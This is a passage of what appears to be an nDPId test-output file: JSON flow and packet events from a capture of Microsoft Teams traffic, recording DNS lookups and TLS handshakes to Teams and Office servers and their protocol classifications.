{"query":"trouter2-asse-a.trouter.teams.microsoft.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1777,"source":"teams.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1587041685092,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":65230,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00477{"flow_id":40,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1777,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":92516,"pkt_caplen":103,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":103,"pkt_l4_len":69,"pkt":"EBMx8Tl2KDc3AG3ICABFAABZD5kAAP8RKKPAqAEGwKgBAf7OADUARYKEB0oBAAABAAAAAAAAD3Ryb3V0ZXIyLWFzc2UtYQd0cm91dGVyBXRlYW1zCW1pY3Jvc29mdANjb20AAAEAAQ=="} +00666{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1777,"source":"teams.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":1,"flow_first_seen":1587041685092,"flow_last_seen":0,"flow_tot_l4_data_len":69,"flow_min_l4_data_len":69,"flow_max_l4_data_len":69,"flow_avg_l4_data_len":69,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":65230,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": {"query":"trouter2-asse-a.trouter.teams.microsoft.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1778,"source":"teams.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1587041685093,"flow_last_seen":0,"flow_tot_l4_data_len":61,"flow_min_l4_data_len":61,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":61,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":50653,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00463{"flow_id":41,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1778,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":93044,"pkt_caplen":95,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":95,"pkt_l4_len":61,"pkt":"EBMx8Tl2KDc3AG3ICABFAABRstMAAP8RhXDAqAEGwKgBAcXdADUAPUwYqlcBAAABAAAAAAAAA2FwaQtmbGlnaHRwcm94eQV0ZWFtcwltaWNyb3NvZnQDY29tAAABAAE="} +00658{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1778,"source":"teams.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":1,"flow_first_seen":1587041685093,"flow_last_seen":0,"flow_tot_l4_data_len":61,"flow_min_l4_data_len":61,"flow_max_l4_data_len":61,"flow_avg_l4_data_len":61,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":50653,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": {"query":"api.flightproxy.teams.microsoft.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00572{"flow_id":39,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1781,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":104871,"pkt_caplen":173,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":173,"pkt_l4_len":139,"pkt":"KDc3AG3IEBMx8Tl2CABFAACfqZ9AADkRFFfAqAEBwKgBBgA10a4AiwAA9AGBgAABAAIAAAAAD3Ryb3V0ZXIyLWFzc2UtYQd0cm91dGVyBXRlYW1zCW1pY3Jvc29mdANjb20AABwAAcAMAAUAAQAADYsAHg90cm91dGVyMi1hc3NlLWEIY2xvdWRhcHADbmV0AMBJABwAAQAAAAUAECoBARHxAHAAAAAAAG\/dVKE="} +00693{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1781,"source":"teams.pcap","alias":"nDPId-test","flow_id":39,"flow_packet_id":2,"flow_first_seen":1587041685091,"flow_last_seen":1587041685104,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":69,"flow_max_l4_data_len":139,"flow_avg_l4_data_len":104,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":53678,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": {"query":"trouter2-asse-a.trouter.teams.microsoft.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":28,"rsp_type":28,"rsp_addr":"42.1.1.17"}} +00556{"flow_id":40,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1782,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":105349,"pkt_caplen":161,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":161,"pkt_l4_len":127,"pkt":"KDc3AG3IEBMx8Tl2CABFAACTMl9AADkRi6PAqAEBwKgBBgA1\/s4AfwAAB0qBgAABAAIAAAAAD3Ryb3V0ZXIyLWFzc2UtYQd0cm91dGVyBXRlYW1zCW1pY3Jvc29mdANjb20AAAEAAcAMAAUAAQAADNUAHg90cm91dGVyMi1hc3NlLWEIY2xvdWRhcHADbmV0AMBJAAEAAQAAAAgABDRyDy0="} +00693{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1782,"source":"teams.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":2,"flow_first_seen":1587041685092,"flow_last_seen":1587041685105,"flow_tot_l4_data_len":196,"flow_min_l4_data_len":69,"flow_max_l4_data_len":127,"flow_avg_l4_data_len":98,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":65230,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": {"query":"trouter2-asse-a.trouter.teams.microsoft.com","num_queries":1,"num_answers":2,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.114.15.45"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1783,"source":"teams.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":1,"flow_first_seen":1587041685106,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.15.45","src_port":60551,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":42,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1783,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":106192,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGNWvAqAEGNHIPLeyHAbsC\/Q6WAAAAALAC\/\/9IhwAAAgQFtAEDAwUBAQgKMIS4zgAAAAAEAgAA"} +00627{"flow_id":41,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1792,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":127636,"pkt_caplen":216,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":216,"pkt_l4_len":182,"pkt":"KDc3AG3IEBMx8Tl2CABFAADKzTRAADkR8JbAqAEBwKgBBgA1xd0AtgAAqleBgAABAAMAAAAAA2FwaQtmbGlnaHRwcm94eQV0ZWFtcwltaWNyb3NvZnQDY29tAAABAAHADAAFAAEAAA4OACoDYXBpC2ZsaWdodHByb3h5BXRlYW1zDnRyYWZmaWNtYW5hZ2VyA25ldADAQQAFAAEAAAEsACcbYy1mbGlnaHRwcm94eS1ldW5vLTAxLXRlYW1zCGNsb3VkYXBwwGbAdwABAAEAAAAGAAQ0ck2I"} +00687{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1792,"source":"teams.pcap","alias":"nDPId-test","flow_id":41,"flow_packet_id":2,"flow_first_seen":1587041685093,"flow_last_seen":1587041685127,"flow_tot_l4_data_len":243,"flow_min_l4_data_len":61,"flow_max_l4_data_len":182,"flow_avg_l4_data_len":121,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":50653,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": {"query":"api.flightproxy.teams.microsoft.com","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.114.77.136"}} +00619{"flow_id":38,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1797,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":136892,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"KDc3AG3IEBMx8Tl2CABFAADDZa9AADkRWCPAqAEBwKgBBgA17z0ArwAAVKqBgAABAAMAAAAABGV1YXoCdHIFdGVhbXMJbWljcm9zb2Z0A2NvbQAAAQABwAwABQABAAALoAAiBGV1YXoCdHIFdGVhbXMOdHJhZmZpY21hbmFnZXIDbmV0AMA5AAUAAQAAAAAAMBJiLXRyLXRlYW1zLWV1bm8tMDULbm9ydGhldXJvcGUIY2xvdWRhcHAFYXp1cmXAJMBnAAEAAQAAAAoABDRy+ns="} +00680{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1797,"source":"teams.pcap","alias":"nDPId-test","flow_id":38,"flow_packet_id":2,"flow_first_seen":1587041685090,"flow_last_seen":1587041685136,"flow_tot_l4_data_len":228,"flow_min_l4_data_len":53,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":114,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":61245,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": {"query":"euaz.tr.teams.microsoft.com","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.114.250.123"}} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1798,"source":"teams.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1587041685171,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":58457,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00441{"flow_id":43,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1798,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":171649,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABADGUAAP8RK\/DAqAEGwKgBAeRZADUALJr8l0UBAAABAAAAAAAAB291dGxvb2sGb2ZmaWNlA2NvbQAAAQAB"} +00654{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1798,"source":"teams.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":1,"flow_first_seen":1587041685171,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":58457,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Microsoft365","breed":"Acceptable","category":"Collaborative"},"dns": {"query":"outlook.office.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00655{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1799,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":185131,"pkt_caplen":236,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":236,"pkt_l4_len":202,"pkt":"KDc3AG3IEBMx8Tl2CABFAADeqaxAADkRFAvAqAEBwKgBBgA15FkAygAAl0WBgAABAAYAAAAAB291dGxvb2sGb2ZmaWNlA2NvbQAAAQABwAwABQABAAAANQAMCXN1YnN0cmF0ZcAUwDAABQABAAAAxQAUCXN1YnN0cmF0ZQdtcy1hY2RjwBTASAAFAAEAAAAmAAgFYWZkLWvAFMBoAAUAAQAAACYAKBJvdXRsb29rLW9mZmljZS1jb20Gay0wMDAyCGstbXNlZGdlA25ldADAfAAFAAEAAACgAALAj8CPAAEAAQAAAJ8ABA1rEgs="} +00682{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1799,"source":"teams.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":2,"flow_first_seen":1587041685171,"flow_last_seen":1587041685185,"flow_tot_l4_data_len":246,"flow_min_l4_data_len":44,"flow_max_l4_data_len":202,"flow_avg_l4_data_len":123,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":58457,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Microsoft365","breed":"Acceptable","category":"Collaborative"},"dns": {"query":"outlook.office.com","num_queries":1,"num_answers":6,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"13.107.18.11"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1805,"source":"teams.pcap","alias":"nDPId-test","flow_id":44,"flow_packet_id":1,"flow_first_seen":1587041685232,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60552,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":44,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1805,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":232231,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG93bAqAEGNHJNIeyIAbtyjZOTAAAAALAC\/\/8ViAAAAgQFtAEDAwUBAQgKMIS5SgAAAAAEAgAA"} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1806,"source":"teams.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":1,"flow_first_seen":1587041685240,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60554,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":45,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1806,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":240465,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGghTAqAEGNHHChOyKAbtGGzTNAAAAALAC\/\/8rVAAAAgQFtAEDAwUBAQgKMIS5UgAAAAAEAgAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1807,"source":"teams.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1587041685243,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":51309,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00460{"flow_id":46,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1807,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":243104,"pkt_caplen":93,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":93,"pkt_l4_len":59,"pkt":"EBMx8Tl2KDc3AG3ICABFAABPU3QAAP8R5NHAqAEGwKgBAchtADUAO5eNyGMBAAABAAAAAAAAFHNreXBlZGF0YXByZGNvbG5ldTA0CGNsb3VkYXBwA25ldAAAHAAB"} +00651{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1807,"source":"teams.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":1,"flow_first_seen":1587041685243,"flow_last_seen":0,"flow_tot_l4_data_len":59,"flow_min_l4_data_len":59,"flow_max_l4_data_len":59,"flow_avg_l4_data_len":59,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":51309,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"skypedataprdcolneu04.cloudapp.net","num_queries":0,"num_answers":0,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00472{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1808,"source":"teams.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":1587041685248,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.77.33","src_port":60555,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1808,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":248604,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAG93bAqAEGNHJNIeyLAbsws\/klAAAAALAC\/\/\/xvAAAAgQFtAEDAwUBAQgKMIS5WgAAAAAEAgAA"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1809,"source":"teams.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1587041685251,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.126.9.7","src_port":60556,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1809,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":251950,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGR4XAqAEGKH4JB+yMAbvF6IfFAAAAALAC\/\/8d8gAAAgQFtAEDAwUBAQgKMIS5XQAAAAAEAgAA"} +00426{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1810,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":253368,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0w5JAAHUGiY00ccKEwKgBBgG77IqoHlkCRhs0zoAS\/\/9MIAAAAgQFoAEDAwgBAQQC"} +00408{"flow_id":45,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1811,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":253460,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOyKAbtGGzTOqB5ZA1AQIABs3wAA"} +00660{"flow_id":45,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1812,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":253933,"pkt_caplen":240,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":240,"pkt_l4_len":206,"pkt":"EBMx8Tl2KDc3AG3ICABFAADiAABAAEAGgXLAqAEGNHHChOyKAbtGGzTOqB5ZA1AYIAAZhwAAFgMBALUBAACxAwNemFWVZrT7WTFXDzKTJwgyjyi4pczPS4OaStHQgrmy6wAALAD\/wCzAK8AkwCPACsAJwAjAMMAvwCjAJ8AUwBPAEgCdAJwAPQA8ADUALwAKAQAAXAAAAB8AHQAAGmNvbmZpZy50ZWFtcy5taWNyb3NvZnQuY29tAAoACAAGABcAGAAZAAsAAgEAAA0AEgAQBAECAQUBBgEEAwIDBQMGAwAFAAUBAAAAAAASAAAAFwAA"} +00774{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1812,"source":"teams.pcap","alias":"nDPId-test","flow_id":45,"flow_packet_id":4,"flow_first_seen":1587041685240,"flow_last_seen":1587041685253,"flow_tot_l4_data_len":302,"flow_min_l4_data_len":20,"flow_max_l4_data_len":206,"flow_avg_l4_data_len":75,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60554,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"config.teams.microsoft.com","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00569{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1813,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":256108,"pkt_caplen":169,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":169,"pkt_l4_len":135,"pkt":"KDc3AG3IEBMx8Tl2CABFAACb\/nFAADkRv4jAqAEBwKgBBgA1yG0AhwAAyGOBgAABAAAAAQAAFHNreXBlZGF0YXByZGNvbG5ldTA0CGNsb3VkYXBwA25ldAAAHAABwCEABgABAAAADgBABHByZDEOYXp1cmVkbnMtY2xvdWTAKgZtc25oc3QJbWljcm9zb2Z0A2NvbQB9o\/w8AAADhAAAASwACTqAAAAAPA=="} +00673{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":1813,"source":"teams.pcap","alias":"nDPId-test","flow_id":46,"flow_packet_id":2,"flow_first_seen":1587041685243,"flow_last_seen":1587041685256,"flow_tot_l4_data_len":194,"flow_min_l4_data_len":59,"flow_max_l4_data_len":135,"flow_avg_l4_data_len":97,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":51309,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"skypedataprdcolneu04.cloudapp.net","num_queries":1,"num_answers":1,"reply_code":0,"query_type":28,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00426{"flow_id":42,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1814,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":261856,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0jN1AAG0Ge5k0cg8twKgBBgG77IfA1AaRAv0Ol4AS\/\/+iigAAAgQFoAEDAwgBAQQC"} +00409{"flow_id":42,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1815,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":261955,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGNYPAqAEGNHIPLeyHAbsC\/Q6XwNQGklAQIADDSQAA"} +00685{"flow_id":42,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1816,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":262299,"pkt_caplen":257,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":257,"pkt_l4_len":223,"pkt":"EBMx8Tl2KDc3AG3ICABFAADzAABAAEAGNLjAqAEGNHIPLeyHAbsC\/Q6XwNQGklAYIAAraAAAFgMBAMYBAADCAwNemFWVnmpu5iBYzDA0OwyTFl3gYWrTqQBuMzMR9X7FRwAALAD\/wCzAK8AkwCPACsAJwAjAMMAvwCjAJ8AUwBPAEgCdAJwAPQA8ADUALwAKAQAAbQAAADAALgAAK3Ryb3V0ZXIyLWFzc2UtYS50cm91dGVyLnRlYW1zLm1pY3Jvc29mdC5jb20ACgAIAAYAFwAYABkACwACAQAADQASABAEAQIBBQEGAQQDAgMFAwYDAAUABQEAAAAAABIAAAAXAAA="} +00789{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1816,"source":"teams.pcap","alias":"nDPId-test","flow_id":42,"flow_packet_id":4,"flow_first_seen":1587041685106,"flow_last_seen":1587041685262,"flow_tot_l4_data_len":319,"flow_min_l4_data_len":20,"flow_max_l4_data_len":223,"flow_avg_l4_data_len":79,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.15.45","src_port":60551,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"trouter2-asse-a.trouter.teams.microsoft.com","ja3":"e4d448cdfe06dc1243c1eb026c74ac9a","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00416{"flow_id":45,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1817,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041685,"pkt_ts_usec":265739,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAow5NAAHYGiJg0ccKEwKgBBgG77IqoHlkDRhs1iFAQBAGIJAAAAAAAAAAA"} 